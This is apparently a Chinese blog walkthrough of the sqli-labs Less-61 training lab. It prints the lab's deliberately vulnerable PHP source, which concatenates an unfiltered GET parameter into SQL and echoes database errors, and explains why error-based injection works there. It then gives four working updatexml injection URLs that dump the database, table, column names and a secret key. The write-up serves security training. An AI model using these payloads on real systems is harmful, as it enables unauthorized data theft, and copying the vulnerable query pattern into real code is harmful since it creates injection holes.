当前位置: 首页 > news >正文

sqli-labs通关笔记-第61关 GET字符型报错注入(单引号双括号闭合 限制5次探测机会)

目录

一、代码审计

1、源码分析

2、SQL注入风险分析

(1)联合SQL注入方法(不可行)

(2)报错SQL注入方法(可行)

(3)总结

二、渗透实战

1、渗透准备

2、爆数据库名

3、爆表名

4、爆列名

5、爆数据

6、输入密钥


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第60关Less 61基于GET型的字符SQL注入关卡进行渗透实战,该关卡限制渗透尝试的次数为5次。相对于60关卡,区别是闭合方式由双引号括号变为单引号双括号。

一、代码审计

1、源码分析

第61关卡是一个 SQL 注入挑战页面,相对于60关卡,区别是闭合方式由双引号括号变为单引号双括号,对比如下所示。

第61关卡index.php经过注释的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-61:Challenge-8</title>
</head><body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<!-- 重置挑战的表单按钮,提交后清除Cookie并重新生成随机数据 -->
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
// 引入数据库连接文件和工具函数(包含随机表生成逻辑)
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 关闭PHP错误报告,避免暴露敏感信息
error_reporting(0);
// 获取当前页面URL,用于重定向时携带参数
$pag = $_SERVER['PHP_SELF']; 
// 定义随机字符集(用于生成随机表名、列名)
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; 
// 设置挑战允许的最大尝试次数为5次
$times= 5;// 从工具函数获取随机生成的表名和列名
$table = table_name();        // 随机表名(存储secret key)
$col = column_name(1);         // 第一列名(会话ID列)
$col1 = column_name(2);        // 第二列名(目标secret key列)// 处理用户提交的secret key(未提交时执行挑战逻辑)
if (!isset($_POST['answer_key'])) {// 处理重置请求if (isset($_POST['reset'])) {// 清除挑战相关Cookie(设置过期时间为过去)setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>挑战已重置</font><br>\n";// 4秒后重定向到挑战初始化页面header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");} else {// 检查用户是否携带挑战Cookie(维持会话状态)if (isset($_COOKIE['challenge'])) {$sessid = $_COOKIE['challenge'];} else {// 生成新Cookie并存储随机数据(有效期30天)$expire = time() + 60 * 60 * 24 * 30;$hash = data($table, $col); // 从随机表获取数据生成Cookie值setcookie("challenge", $hash, $expire);}echo "<br>\n";// 处理用户通过GET提交的id参数(核心查询功能)if (isset($_GET['id'])) {$id = $_GET['id'];// 记录用户输入的id到日志文件(未过滤输入,存在安全风险)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:'.$id."\n");fclose($fp);// 更新尝试次数(函数定义在functions.php中,可能操作数据库)next_tryy();// 获取已用尝试次数并显示$tryyy = view_attempts();echo "已尝试:{$tryyy} 次 / 共{$times}次";echo "<br><br><br>\n";// 尝试次数超限后重置挑战if ($tryyy >= ($times + 1)) {setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>尝试次数超限,挑战已重置</font><br>\n";header("refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag");echo "<br>\n";}// **核心SQL查询**:存在SQL注入风险$sql = "SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 查询成功时,从预设数组中返回用户名和密码(非数据库真实数据)$unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");$pass = array_reverse($unames); // 密码数组为用户名数组的逆序echo '<font color= "#00FFFF">';echo '登录名:' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引echo "<br>密码:" . $pass[$row['id']];echo "</font>";} else {// **关键差异**:查询失败时打印数据库错误信息echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 输出MySQL错误信息,如语法错误、表不存在等echo "</font>";  }} else {// 提示用户输入id参数(示例:?id=1)echo "请输入ID参数(需为数字值),如实验练习所示\n<br><br>\n";echo "<font color='#00FFFF' size=3>挑战目标:在{$times}次内从'CHALLENGES'数据库的随机表中获取secret key<br>每次重置会生成新的随机表名、列名和数据</font><br>";}}
} else {// 处理用户提交的secret key(验证逻辑)echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']); // 转义输入,防御SQL注入$key = mysqli_real_escape_string($con1, $key); // 数据库层转义// 查询随机表验证secret key(表名和列名为随机生成)$sql = "SELECT 1 FROM $table WHERE $col1 = '$key'";$result = mysqli_query($con1, $sql) or die("提交密钥时出错:" . mysqli_error($con1)); // 错误信息会暴露给用户$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 验证成功时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br><img src=\"../images/Less-54-1.jpg\" />";echo "</font>"; header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");	} else {// 验证失败时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br><img src=\"../images/slap1.jpg\" />";header("refresh:3;url=index.php");echo "</font>";  }
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-61.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name="answer_key" value="Submit">
</form>
</div>
</body>
</html>

本关卡核心功能包括:通过 GET 参数 “id” 查询 “security.users” 表并显示用户信息,利用 COOKIE 存储挑战状态,提供重置功能以生成随机表名、列名和数据(存储于 “CHALLENGES” 数据库),用户需在5次尝试内通过注入获取随机表中的 “secret key” 并提交验证。代码存在字符串型 SQL 注入风险(“id” 参数未过滤),并打印数据库的信息导致使得可以通过报错法注入,同时随机化机制未有效防御枚举攻击,整体用于演示盲注场景下的渗透测试与防御逻辑。 

  • 用户认证模拟:通过id参数查询security.users表,返回预设的用户名和密码数组(非数据库真实数据),用于演示注入场景。
  • 挑战机制:用户需在 5 次尝试内,通过 SQL 注入获取CHALLENGES数据库中随机表的secret key并提交验证。
  • 重置功能:支持通过 POST 请求重置挑战,生成新的随机表名、列名和数据,并清除 Cookie。
  • 错误暴露:查询失败时(如注入导致语法错误),直接调用print_r(mysqli_error($con1))打印数据库错误信息,可被攻击者利用进行报错注入。

2、SQL注入风险分析

(1)联合SQL注入方法(不可行)

联合注入法(Union-based SQL Injection)是 SQL 注入攻击中一种高效的技术,攻击者通过构造恶意输入,将额外的查询语句与原查询结合,从而获取数据库中的敏感信息。但是联合注入依赖于页面回显来获取数据。如果页面不输出数据库查询结果的内容,则无法直接通过 UNION 查询获取结果。如下所示,这是从58关开始页面在查询成功后的输出,很明显从预设数组中返回用户名和密码(非数据库真实数据),既然页面无法返回数据库真实数据,那么就无法使用联合注入法渗透。

if ($row) {// 查询成功时,从预设数组中返回用户名和密码(非数据库真实数据)$unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman",   "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");$pass = array_reverse($unames); // 密码数组为用户名数组的逆序echo '<font color= "#00FFFF">';echo '你的登录名:' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引echo "<br>你的密码:" . $pass[$row['id']];echo "</font>";
} 

(2)报错SQL注入方法(可行)

报错注入是一种利用数据库错误信息获取敏感数据的渗透方法,其成功实施需要在数据库执行错误的 SQL 语句时,错误信息会被返回给客户端(如浏览器),且未被应用程序捕获或屏蔽。如下所示本关卡中使用print_r(mysqli_error($con1));函数打印数据库报错信息,故而可以使用报错法进行渗透。

if ($row) {......
} else {// **关键差异**:查询失败时打印数据库错误信息echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 输出MySQL错误信息,如语法错误、表不存在等echo "</font>";  
}

(3)总结

本关卡具有字符型注入风险,参数id通过GET传入,仅使用单引号双括号包裹,并未做任何过滤,由于限制5次,故只能使用报错法尝试注入。

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

二、渗透实战

1、渗透准备

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page4挑战(Challenges)页面,如下图红框所示。 

其中第61关在挑战关卡“SQLi-LABS Page-4(Challenges)”中, 点击进入如下页面。 

http://192.168.59.1/sqli-labs/index-3.html#fm_imagemap

点击上图红框的Less61关卡,进入到靶场的第61关SQL注入关卡(限制5次),页面提示“ Please input the ID as parameter with numeric value as done in Lab excercises ”,以及“The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 5 attempts,For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.”具体如下所示。 

2、爆数据库名

如下所示,用户名显示信息为challenges,说明数据库名为“challenges”。

http://192.168.59.1/sqli-labs/Less-61?id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

3、爆表名

如下所示,数据库challenges包含表格“phnfmpzgpa”。

http://192.168.59.1/sqli-labs/Less-61?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

4、爆列名

如下所示,phnfmpzgpa表的列名包括id,sessid,secret_F9L5,tryy共4项目内容。

http://192.168.59.1/sqli-labs/Less-61?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='phnfmpzgpa'),0x7e),1)--+

5、爆数据

如下所示,SQL注入获取到secret_X5GG对应的值为AJp5VPNYlV6KQuRgOYx6D8PW。

http://192.168.59.1/sqli-labs/Less-61/?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_F9L5) from challenges.phnfmpzgpa),0x7e),1)--+

6、输入密钥

将 AJp5VPNYlV6KQuRgOYx6D8PW输入到secret key对应的框内,渗透成功。

burpsuite抓包,找到这个提交密钥的报文,如下所示说明渗透成功。

http://www.dtcms.com/a/343883.html

相关文章:

  • 基于Django的学校实验室预约管理系统/基于python的实验室管理系统的设计与实现#python#django#FLASK
  • JAVA基础-java虚拟机
  • uniapp googlepay支付 内购项目
  • 豆包AI PPT与秒出PPT对比评测:谁更适合你?
  • 计算机毕设选题推荐 基于Spark的家庭能源消耗智能分析与可视化系统 基于机器学习的家庭能源消耗预测与可视化系统源码
  • Python办公之Excel(openpyxl)、PPT(python-pptx)、Word(python-docx)
  • 2026年计算机毕设推荐:基于大数据的慢性肾病数据可视化分析系统技术选型指南【Hadoop、spark、python】
  • 使用PPT进行科研绘图过程中常用的快捷键
  • 日志logging学习(1)
  • Gemini 2.5 Flash-Lite与 DeepSeek-V3 深度对比:谁在性价比上更胜一筹?
  • 【typenum】 21 类型级别计算最大公约数(Gcd)
  • map和set的使⽤
  • 52 C++ 现代C++编程艺术1-禁止隐式转换关键字explicit
  • Qt中用于图像缩放的核⼼⽅法QPixmap::scaled
  • 编写Linux下设备驱动时两种方案:内核态驱动开发和用户态驱动开发
  • --- 使用OpenFeign来优雅的对服务进行调用 ---
  • vue2怎么修改el-table样式
  • 金融风控AI引擎:实时反欺诈系统的架构设计与实现
  • CTFSHOW | 其他篇题解(二)web417 - web437
  • 进程间通信-IPC机制
  • 【开发日记】SpringBoot 实现支持多个微信小程序的登录
  • 初始数据结构——反射、枚举与Lambda的奇幻冒险
  • 如何理解AP服务发现协议中“如果某项服务需要在多个网络接口上提供,则应为每个网络接口使用一个独立的服务器服务实例。”?
  • 《Linux 网络编程一:网络编程导论及UDP 服务器的创建与数据接收》
  • “我 / 店模式” 靠联盟 + 积分破局,实现三方共赢!
  • 【Oracle】内存管理实战指南:ASMM vs AMM 配置全解析
  • Rust Web开发指南 第一章
  • 服务发现实例和服务实例是不同的
  • 血管介入医疗AI发展最新方向与编程变革:从外周、神经到冠脉的全面解析
  • RabbitMQ面试精讲 Day 27:常见故障排查与分析